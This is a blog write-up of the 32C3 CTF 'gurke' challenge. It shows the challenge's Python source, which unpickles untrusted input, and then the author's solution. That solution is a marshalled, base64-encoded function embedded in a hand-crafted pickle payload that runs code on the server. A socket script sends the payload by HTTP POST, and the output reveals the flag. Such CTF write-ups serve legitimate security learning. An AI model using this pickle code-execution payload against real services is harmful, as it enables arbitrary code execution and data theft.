読者です 読者をやめる 読者になる 読者になる

ヾノ*>ㅅ<)ノシ帳

技術ブログに見せかけて、ジャンル制限のないふりーだむなブログです。

32C3 CTF Writeup - gurke

The 32C3 CTF was held here: https://32c3ctf.ccc.ac/announcements/

misc - 300 pts.

Non-standard gurke: https://32c3ctf.ccc.ac/uploads/gurke Talk to it via HTTP on http://136.243.194.43/.

This is source code.

#!/usr/bin/env python
import sys
import os

import socket
import pickle
import base64
import marshal
import types
import inspect
import encodings.string_escape

class Flag(object):
    def __init__(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("172.17.0.1", 1234))
        self.flag = s.recv(1024).strip()
        s.close()
flag = Flag()

# http://sourceforge.net/p/libseccomp/mailman/message/31469928/
from seccomp import *

... snip ...

data = os.read(0, 4096)
try:
    res = pickle.loads(data)
    print 'res: %r\n' % res
except Exception as e:
    print >>sys.stderr, "exception", repr(e)

os._exit(0)

I reffered sites below:) Thanks them!

According to the source code of gurke, flag.flag contains flag and flag may NOT exists as file. So I tried to obtain flag.flag value inside of picke's scope with inspect module.

First, I wrote function which prints flag.flag variable. flag.flag is contained in "f_locals" in frame in stack. I thought flag.flag is contained in f_globals at first. So I wasted match time;(

def stack():
    import inspect
    ret = []
    for i in range(5):
        s = (inspect.stack())[-1 * i - 1]
        f = s[0]
        #ret.append(f.f_locals)
        if 'flag' in f.f_locals:
            print f.f_locals['flag'].flag
            return

Second, marshalize this stack() function.

>>> base64.b64encode(marshal.dumps(stack.func_code))
'YwAAAAAFAAAABAAAAEMAAABzcQAAAGQBAGQAAGwAAH0AAGcAAH0BAHhYAHQBAGQCAIMBAERdSgB9AgB8AABqAgCDAABkAQB8AgAUZAMAGBl9AwB8AwBkBAAZfQQAZAUAfAQAagMAawYAch8AfAQAagMAZAUAGWoEAEdIZAAAU3EfAFdkAABTKAYAAABOaf////9pBQAAAGkBAAAAaQAAAAB0BAAAAGZsYWcoBQAAAHQHAAAAaW5zcGVjdHQFAAAAcmFuZ2V0BQAAAHN0YWNrdAgAAABmX2xvY2Fsc1IAAAAAKAUAAABSAQAAAHQDAAAAcmV0dAEAAABpdAEAAABzdAEAAABmKAAAAAAoAAAAAHMHAAAAPHN0ZGluPlIDAAAAAQAAAHMQAAAAAAEMAQYBEwEYAQoCDwEPAQ=='

Third, make up pickle payload for http request-body(message-body). Save as marshal.pickle.

ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'YwAAAAAFAAAABAAAAEMAAABzcQAAAGQBAGQAAGwAAH0AAGcAAH0BAHhYAHQBAGQCAIMBAERdSgB9AgB8AABqAgCDAABkAQB8AgAUZAMAGBl9AwB8AwBkBAAZfQQAZAUAfAQAagMAawYAch8AfAQAagMAZAUAGWoEAEdIZAAAU3EfAFdkAABTKAYAAABOaf////9pBQAAAGkBAAAAaQAAAAB0BAAAAGZsYWcoBQAAAHQHAAAAaW5zcGVjdHQFAAAAcmFuZ2V0BQAAAHN0YWNrdAgAAABmX2xvY2Fsc1IAAAAAKAUAAABSAQAAAHQDAAAAcmV0dAEAAABpdAEAAABzdAEAAABmKAAAAAAoAAAAAHMHAAAAPHN0ZGluPlIDAAAAAQAAAHMQAAAAAAEMAQYBEwEYAQoCDwEPAQ=='
tRtRc__builtin__
globals
(tRS''
tR(tR.

Forth, write some code which send http reqests with pyload. Reqest-body must be "LF" formatted. "CRLF" cannnot be work.

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import sys
import re
import socket
#import requests
from hexdump import *

def main(argc, argv):
   code = open(argv[1] + ".pickle").read()
   code_len = len(code) - 1
   
   # http://136.243.194.43/
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect(("136.243.194.43", 80))
   header = '\r\n'.join([
       "POST / HTTP/1.1",
       "Keep-Alive: 300",
       "Connection: keep-alive",
       "Content-Type: text/plain",
       "Content-Length: " + str(code_len)
       ])
   request = header + "\r\n\r\n" + code
   #print "[+] request ----"
   #print hexdump(request)
   s.send(request)
   t = s.recv(4096)
   print t
   #res = re.search("res: \'(.+)\'", t).group(1)
   #print res

if __name__ == "__main__": 
    main(len(sys.argv), sys.argv)

Finally, execute python script to get flags!

$ ./gurke.py marshal
HTTP/1.1 200 OK
Content-Type: application/octet-stream

1: 32c3_rooDahPaeR3JaibahYeigoong
res: None

retval: 0

flag: 32c3_rooDahPaeR3JaibahYeigoong


This is what i solved;(

32C3 CTF is so difficult for me, but i enjoyed it verry much. Great job, StratumAuhuur!!!